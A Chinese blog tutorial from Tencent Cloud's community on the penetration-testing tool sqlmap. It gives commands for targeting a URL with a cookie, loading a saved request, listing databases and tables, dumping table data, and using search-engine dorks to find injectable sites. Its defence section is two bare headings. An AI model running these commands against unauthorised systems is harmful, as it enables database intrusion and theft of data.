前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈Sqlmap渗透测试

浅谈Sqlmap渗透测试

作者头像
用户6367961
发布2020-08-11 16:48:25
8050
发布2020-08-11 16:48:25
举报
文章被收录于专栏:自学测试之道

学习Sqlmap所需基础知识或技能

1、数据库的使用

2、了解Sql注入

一、Sqlmap环境搭建

1、【推荐方式】直接从官网下载对应版本的包,安装即可

https://www.kali.org/downloads/

安装教程:

https://blog.csdn.net/qq_43613144/article/details/90488973

2、逐个工具安装

在所在官网上,找到并安装python 2.7、Sqlmap;安装好后需要配置环境变量,可参考网上文章:

https://blog.csdn.net/qq_33530840/article/details/82144515

二、Sqlmap的使用

常见命令

https://www.fujieace.com/hacker/tools/sqlmap-use.html

获取系统的基本信息

1、SQLMAP参数格式

sqlmap -u URL, URL目标URL

ep: sqlmap -u "https://test.wamibao.com/inettest/#/index" --cookie="xxxxxxxxxxxx"

获取结果

2、获取系统基本信息

sqlmap -r REQUESTFILE, 从一个文件中载入HTTP请求

ep: sqlmap -r 目标文件路径

获取request请求

保存为test.txt文档

进行sqlmap

执行结果

3、获取数据库的数据

a.查看数据库

--dbs 枚举数据库管理系统中的数据库名称

sqlmap -u "https://test.wamibao.com/inettest/#/index" --cookie="xxxxxxxxxxxx" --dbs

b.扫码数据表

--tables 枚举数据库中的表名称

sqlmap -u "https://test.wamibao.com/inettest/#/index" --cookie="xxxxxxxxxxxx" --tables

c.导出数据

--dump 转储数据库中的表数据

--dump-all 转储数据库中的表所有数据

4、sqlmap -g寻找注入点

ep1: sqlmap -g "admin.php?id=" --batch --smart

ep2: sqlmap -g "inurl:\".php?id=1\"" --batch --smart

--batch 自动选择yes --smart 启发式快速判断

三、如何防范sql注入

1、web防护墙

2、开发人员注意的地方

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 自学测试之道 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档